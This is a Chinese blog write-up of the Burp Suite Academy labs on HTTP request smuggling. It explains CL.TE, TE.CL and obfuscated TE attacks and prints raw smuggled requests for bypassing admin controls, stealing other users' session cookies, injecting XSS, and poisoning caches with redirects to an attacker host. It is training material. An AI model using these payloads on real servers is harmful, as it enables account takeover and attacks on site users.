burpsuite靶場之高級篇
HTTP請求走私專題
什么是HTTP請求走私?
所謂HTTP請求走私攻擊,顧名思義,就會像走私一樣在一個HTTP請求包中夾帶另一個或多個HTTP請求包,在前端看來是一個HTTP請求包,但是到了后端可能會被解析器分解開從而導致夾帶的HTTP請求包也會被解析,最終可以導致未授權訪問敏感數據或攻擊其他用戶。
那么一次HTTP請求走私攻擊會發生什么呢?
現如今,在前端與處理應用程序邏輯的后端之間往往會有其他中轉服務器,用戶在前端提交請求,由中轉服務器進行中轉,但是就像傳話一樣,總會有差錯意的情況,中轉請求也會如此,比如之前講的把多個HTTP請求捆成一個提交,但是中轉服務器可能會將這些請求拆解開,一個一個轉發給目標服務器,此時就可能因為解析了多余的HTTP請求而導致各種意外,不僅是多個HTTP壓縮成一個HTTP請求的情況,有時候將兩個模棱兩可的HTTP請求發出,但是有可能因為中轉服務器差錯意而錯誤拼接它們也會導致意外
那么HTTP請求走私是如何產生的呢?
大多數HTTP請求走私漏洞的出現是因為HTTP規范提供了兩種不同的方法指定請求的結束位置
- Content-Length頭
- Transfer-Encoding頭
Content-Length頭以字節為單位指定消息正文的長度,例如
POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11 q=smuggling
Transfer-Encoding頭一般指定郵件正文使用分塊編碼,例如
POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunked bq=smuggling0
每個塊之間以換行符分割開,直到塊大小為0字節時視為正文的結束,就是因為這兩種不同的方法來指定HTTP消息的長度,就導致如果同時使用這兩個頭會造成沖突,HTTP規范中規定,如果兩個頭同時存在則忽略Content-Length頭,此時如果出現一下兩種情況:
- 一些服務器不支持Transfer-Encoding頭
- 如果對頭做了混淆處理則有些服務器雖然支持Transfer-Encoding頭也不會處理它
怎么發動一次HTTP請求走私攻擊?
HTTP請求走私攻擊大致分為三種,CL.TE、TE.CL、TE.TE
CL.TE漏洞
首先請求包中需要同時包含CL頭(Content-Length)和TE頭(Transfer-Encoding),我們參考如下示例
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 13Transfer-Encoding: chunked 0 SMUGGLED
從上面這一個HTTP請求包來看,CL頭設置的是13,即從正文開始算包含13個字節的內容為止算是一個請求包,但是當這個請求包發到后端服務器時會采用TE頭來處理請求包,此時會因為0的下一行是空行而認為該請求包已經結束了,那么多出來的內容怎么辦呢?會被認為是下一個請求包的開始,此時則會產生HTTP請求走私攻擊
配套靶場:HTTP請求走私攻擊中的基礎CL.TE漏洞
因為是CL.TE攻擊,所以我們直接構造如下paylaod

CL頭的值為6,就是包含三行共六個字節(包括換行符),TE頭指定了使用分塊編碼,發送兩次請求包,成功因為前后端處理方式不同而導致HTTP走私攻擊
TE.CL漏洞
這一種就是前端服務器使用TE頭處理,而后端服務器使用CL頭處理,我們參考如下示例
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 3Transfer-Encoding: chunked 8SMUGGLED0
原理就是前端服務器通過使用TE頭指定的分塊編碼來分割處理請求包,既然是分塊編碼,就得指定每個分塊的大小,就如上述代碼所示,第一個分塊大小為8字節長,第二個分塊大小為0,分塊編碼會一直讀取直到分塊大小為0,所以以上的請求包會被前端當成一個請求包轉發到后端服務器,但是到了后端服務器會因為CL頭指定的長度僅包括了8及后面的CLRF字符而將這個請求包分割成兩個處理,這就導致了HTTP請求走私漏洞
配套靶場:HTTP請求走私攻擊中的基礎TE.CL漏洞
因為我們已經知道了漏洞類型,我們可以直接構造payload

這里有一個需要注意的,就是在0的后面要添加兩個空行,然后就也會因為前后端對HTTP請求方式不同而導致HTTP走私攻擊
TE.TE漏洞:混淆TE頭
現在的場景是雖然前后端都支持TE頭,但是可以通過某種混淆手段讓某一端不處理TE頭,例如
Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunkedTransfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[]Transfer-Encoding: chunked Transfer-Encoding: chunked
下面我們通過一道靶場來深入理解這種攻擊手段
配套靶場:HTTP請求走私攻擊中的混淆TE頭
我們只要對兩個TE頭做混淆,所以我們構造如下paylaod

我們看到有兩個TE頭,但是有一個TE頭是做了混淆的,所以就會導致在后端的時候不使用TE頭來處理此時會轉而采用CL頭處理,從而將一個HTTP請求拆分成兩個,導致HTTP走私攻擊
尋找HTTP請求走私攻擊
利用計時技術發現HTTP請求走私漏洞
利用計時技術發現CL.TE漏洞
當同時存在CL頭和TE頭時,如果請求包正文的長度大于CL頭指定的長度,則會導致請求包只有CL頭指定長度內的內容,從而導致后端服務器因為采用TE頭處理而一直等待后續請求包,最終會導致超時,故可以證明存在CL.TE漏洞,例如
POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 4 1AX
利用計時技術發現TE.CL漏洞
這種漏洞也是,如果正文是被空行分隔的兩部分則也會導致僅發出不完整的請求導致后端服務器在利用CL頭接收請求包時等待,直到超時,則可以證明存在TE.CL漏洞,例如
POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 6 0 X
值得注意的是如果應用程序可能受到CL.TE攻擊,那么針對TE.CL漏洞的利用計時技術的測試可能會干擾其他應用程序用戶。因此,要保持隱蔽并最大程度地減少超時現象,應該首先使用CL.TE測試,只有在第一次測試不成功時才繼續進行TE.CL測試。
利用響應差異確認HTTP請求走私漏洞
發送兩次請求,第一個是魔改的請求包,第二個是正常的請求,這樣就能用第一個請求干擾后端服務器對第二個請求包的處理
利用響應差異確認CL.TE漏洞
因為是CL.TE,所以在第一個請求包結束以后加入一個空行再開始編寫第二個請求包,像這樣
POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 49Transfer-Encoding: chunked eq=smuggling&x=0 GET /404 HTTP/1.1Foo: x
第一次發送這個請求包會因為后端服務器利用TE頭處理而將第二個請求包作為單獨的請求包處理,但是第二個請求包又不完整,所以會等待后續的請求包,當第二次發送請求后會將上一次的剩余的請求頭與這一次請求包合并起來處理,此時會接收到異常的響應,就能判斷存在CL.TE漏洞,像這樣
GET /404 HTTP/1.1Foo: xPOST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11 q=smuggling
配套靶場:利用響應差異確認HTTP請求走私中的CL.TE漏洞
因為是CL.TE,所以可以這樣構造payload

發送兩次以后,就會觸發HTTP請求走私漏洞
利用響應差異確認TE.CL漏洞
因為是TE.CL漏洞,所以CL頭設置為第一個請求包之內的長度,TE頭設置為分塊編碼,像這樣
POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked 7cGET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 144 x=0
值得注意的是0后面有一個\r\r,然后在Repeater中關閉了自動填充,這樣就能走私出第二個請求包,然后第二個請求包中也會有一個CL頭,這個CL頭要足夠大到能包含下一個接收到的請求包,此時會導致雖然第二次發出的是正常的請求包,也會因為與之前走私的請求包合并而接收到走私請求包應收到的響應,就判斷存在TE.CL漏洞,像這樣
GET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 146 x=0 POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11 q=smuggling
配套靶場:利用響應差異確認HTTP請求走私中的TE.CL漏洞
因為是TE.CL漏洞,所以可以構造如下paylaod

發送兩次請求即可觸發HTTP請求走私攻擊
在嘗試通過干擾其他請求確認請求走私漏洞時的一些重要的考慮因素
- 應使用不同的網絡連接發送攻擊請求和正常請求
- 攻擊請求和正常請求應盡可能使用相同的URL和參數名稱,這樣大概率會將它們轉發到相同的后端服務器
- 在發送了攻擊請求之后應盡可能立即發送正常請求,因為可能有其他請求與之競爭
- 如果應用系統部署了負載均衡,可能要多發幾次,因為可能會被轉發到不同的后端服務器
- 如果雖然成功干擾了后續的請求但是收到的響應并不是預期的,可能有真實用戶遭受到了攻擊
利用HTTP請求走私漏洞
利用HTTP請求走私繞過前端安全控制
一些應用系統的前端配置了某些安全控制,以決定是否允許將請求轉發到后端服務器,所以如果請求通過了前端的安全控制,則會被后端服務器無條件接受,而不會進行其他的檢查,這樣的話就可以利用HTTP走私請求將惡意的請求包夾帶在正常的請求包中送到后端服務器,例如
POST /home HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 62Transfer-Encoding: chunked 0 GET /admin HTTP/1.1Host: vulnerable-website.comFoo: xGET /home HTTP/1.1Host: vulnerable-website.com
配套靶場1:利用CL.TE繞過前端安全控制的HTTP請求走私攻擊
因為前端服務器會拒絕轉發/admin的請求,但是可以利用CL.TE請求走私來讓/admin的請求進入后端服務器,所以我們構造如下paylaod

從截圖來看/admin請求已經可以傳到后端服務器了,但是頁面提示只有本地用戶才能訪問,于是我們再修改一下payload

但是我們發現因為兩個請求包的Host頭不同而被拒絕了,所以我們需要再修改一下payload

我們發現只要將第二個請求包修改成一個正常的請求包即可會被后端服務器當成一個新的請求包來解析,我們看到了刪除用戶的URL,于是我們修改一下URL重新發送請求,即可成功刪除指定用戶
配套靶場2:利用TE.CL繞過前端安全控制的HTTP請求走私攻擊
我們采用相同的方式構造payload,但是我們需要把自動更新CL頭的值關掉,因為我們要利用后端服務器通過CL頭分割請求包來讓第二個請求包走私出來,于是我們這樣構造payload

然后為了被后端服務器識別為本地用戶我們還需要再修改一下請求包

我們看到我們已經被識別為本地用戶并且進入admin頁面了,于是我們就能修改URL刪除指定用戶了
回顯前端對請求重寫的過程
有一些應用系統會在將請求轉發到后端服務器之前對請求做一些重寫,如
- 終止TLS連接并加入一些頭部描述使用的協議和加密算法
- 添加一個包含用戶IP地址的X-Forwarded-For頭部
- 基于用戶會話令牌決定用戶ID并添加一個識別用戶的頭
- 添加一些其他攻擊感興趣的敏感信息
有時候如果走私請求缺少由前端服務器添加的頭的話可能會導致走私請求攻擊失敗,所以我們需要利用某些手段回顯前端服務器重寫的方式,如
- 尋找一個可以把請求的參數值反饋到響應中的POST請求
- 移動參數以使它們會反饋在消息正文中的最后面
- 構造發往后端服務器的走私請求,緊接著一個普通的請求以使得到回顯
我們關注這樣的一個請求包
POST /login HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 28 email=wiener@normal-user.net
響應會包含下面這條
@normal-user.net" type="text">
我們可以通過HTTP請求走私攻擊獲得重寫的結果,像這樣
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 130Transfer-Encoding: chunked 0 POST /login HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 100 email=POST /login HTTP/1.1Host: vulnerable-website.com...
請求將由前端服務器重寫以包含額外的頭,然后后端服務器將處理走私的請求并將重寫的第二個請求視為電子郵件參數的值,像這樣
"email" value="POST /login HTTP/1.1Host: vulnerable-website.comX-Forwarded-For: 1.3.3.7X-Forwarded-Proto: httpsX-TLS-Bits: 128X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256X-TLS-Version: TLSv1.2x-nr-external-service: external...
由于最后的請求正在被重寫,我們不知道什么時候結束。CL頭中的值將決定后端服務器相信該請求的時間。如果值設置得太短,就只會收到部分重寫的請求;如果設置太長,后端服務器將超時等待請求完成。解決的方法就是猜測一個比提交的請求大一點的初始值,然后逐漸增大該值直到得到所有的信息。
配套靶場:利用HTTP請求走私回顯前端對請求重寫的過程
我們看到一個搜索框,那么這可能存在HTTP請求走私漏洞點,所以我們這樣構造payload

我們發現由前端重寫的請求包會被反饋在響應中,說明我們成功通過HTTP請求走私漏洞獲取到了前端服務器用來指定來源IP的字段名,我們就可以偽造成本地用戶了,于是我們這樣修改請求包

我們已經看到了刪除指定用戶的URL,所以我們再次修改請求包,成功刪除指定用戶
竊取其他用戶的請求
有些應用程序包含任何允許存儲和檢索文本數據的功能,則可以利用HTTP請求走私來竊取其他用戶的請求,原理與上一種利用方式相似,也是將其他用戶的請求包作為參數值包含在響應中,burp官方以評論功能為例,即將請求包包含在用來存儲評論內容的參數comment中,例如這樣的提交評論的請求
POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 154Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
我們可以通過HTTP請求走私攻擊將數據存儲請求走私到后端,像這樣
GET / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 324 0 POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 400Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment
當后端服務器處理另一個用戶的請求時,它會附加到走私的請求中,結果用戶的請求被存儲,包括受害用戶的會話cookie和任何其他敏感數據,像這樣
POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 400Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1Host: vulnerable-website.comCookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj...
配套靶場:利用HTTP請求走私竊取其他用戶的請求
因為有評論功能,所以我們構造如下payload,多試幾次,就能成功竊取到其他用戶的請求


我們成功獲得了目標用戶的cookie,然后用他的cookie登錄
利用HTTP請求走私觸發反射型XSS
利用HTTP請求走私觸發反射型XSS有兩個相對于普通反射型XSS的優點
- 它不需要與受害者用戶進行交互
- 它可用于在請求的某些部分中利用XSS,如在HTTP請求頭中
示例如下,通過UA注入XSS payload
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 63Transfer-Encoding: chunked 0 GET / HTTP/1.1User-Agent: <script>alert(1)script>Foo: X
下一個用戶的請求將附加到走私的請求中,就會在響應中收到反射型XSS payload。
配套靶場:利用HTTP請求走私觸發反射型XSS
因為題目已經告知我們要在UA頭里面構造payload,所以我們構造如下請求包

然后發送兩次請求以后即可觸發HTTP請求走私攻擊了,用戶就會受到XSS攻擊
利用HTTP請求走私將頁面內重定向轉變為開放重定向
首先我們看這樣一個請求
GET /home HTTP/1.1Host: normal-website.com HTTP/1.1 301 Moved PermanentlyLocation: https://normal-website.com/home/
這是一個頁面內重定向的請求,但是我們可以利用HTTP請求走私使其跳轉到其他任意域,例如
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 54Transfer-Encoding: chunked 0 GET /home HTTP/1.1Host: attacker-website.comFoo: X
后續的請求會被影響成這樣
GET /home HTTP/1.1Host: attacker-website.comFoo: XGET /scripts/include.js HTTP/1.1Host: vulnerable-website.com HTTP/1.1 301 Moved PermanentlyLocation: https://attacker-website.com/home/
此處,用戶請求的是由網站上的頁面導入的JS文件。攻擊者可以通過在響應中返回他們自己的JS來完全危害受害用戶。
利用HTTP請求走私發動web緩存投毒
由上一種情況派生出,如果應用系統開啟了緩存功能,在已經生成了重定向到惡意域的緩存以后,會影響到其他的用戶,例如
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 59Transfer-Encoding: chunked 0 GET /home HTTP/1.1Host: attacker-website.comFoo: XGET /static/include.js HTTP/1.1Host: vulnerable-website.com
走私的請求到達后端服務器,后端服務器像以前一樣通過開放重定向進行響應。服務器會緩存/static/include.js的響應。
GET /static/include.js HTTP/1.1Host: vulnerable-website.com HTTP/1.1 301 Moved PermanentlyLocation: https://attacker-website.com/home/
當其他用戶請求此 URL 時,他們會收到指向攻擊者網站的重定向。
配套靶場:利用HTTP請求走私發動web緩存投毒
首先我們利用重定向原理觀察一下是怎么構造的

然后我們就可以在Exploit Server中構造如下payload并修改請求包


于是我們再夾帶一個請求包以使幾乎所有頁面都會被緩存,從而實現全范圍的投毒

多點擊幾次即可緩存所有頁面,因為所有頁面都被投毒,導致用戶的受到嚴重影響,所以危害還是很大的

利用HTTP請求走私發動Web緩存欺騙
Web緩存欺騙是將其他用戶接收到的響應作為緩存,從而在緩存有效期內攻擊者也能訪問到該緩存中包含的敏感信息,這一點是與Web緩存投毒不同的。我們嘗試這樣構造攻擊
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 43Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1Foo: X
轉發到后端服務器的另一個用戶的下一個請求將附加到走私請求,包括會話cookie和其他頭
GET /private/messages HTTP/1.1Foo: XGET /static/some-image.png HTTP/1.1Host: vulnerable-website.comCookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z...
服務器會緩存/static/some-image.png的響應,攻擊者也能接收到這份緩存
GET /static/some-image.png HTTP/1.1Host: vulnerable-website.com HTTP/1.1 200 Ok...<h1>Your private messagesh1>...
但是這種攻擊需要大量的請求才可能成功,因為不知道哪個URL會產生敏感信息。
配套靶場:利用HTTP請求走私發動Web緩存欺騙
先登錄測試用戶,然后知道了/account頁面可以看到用戶的API Key,所以我們可以這樣構造payload

不斷地重放包,然后得到以上響應以后要在隱私模式下訪問首頁,多刷新幾次刷到加載出首頁以后,點開burp中的Search功能,搜索Your API Key is直到出現以下情況

我們就得到了administrator的API Key了
如何緩解HTTP請求走私漏洞?
禁用后端連接的重用,防止多個請求拼接
使用HTTP/2用于后端連接,該協議可以防止請求之間的界限模糊不清
前后端使用完全相同的中間件,以保證對請求處理方式的一致性
總結
以上就是梨子帶你刷burpsuite官方網絡安全學院靶場(練兵場)系列之高級漏洞篇 – HTTP請求走私專題的全部內容啦,本專題主要講了HTTP請求走私攻擊的原理、識別方法、構造方法、利用及防護等,本專題還是非常有趣的,大家一定要動手開啟靶場親自做一遍哦,感興趣的同學可以在評論區進行討論,嘻嘻嘻。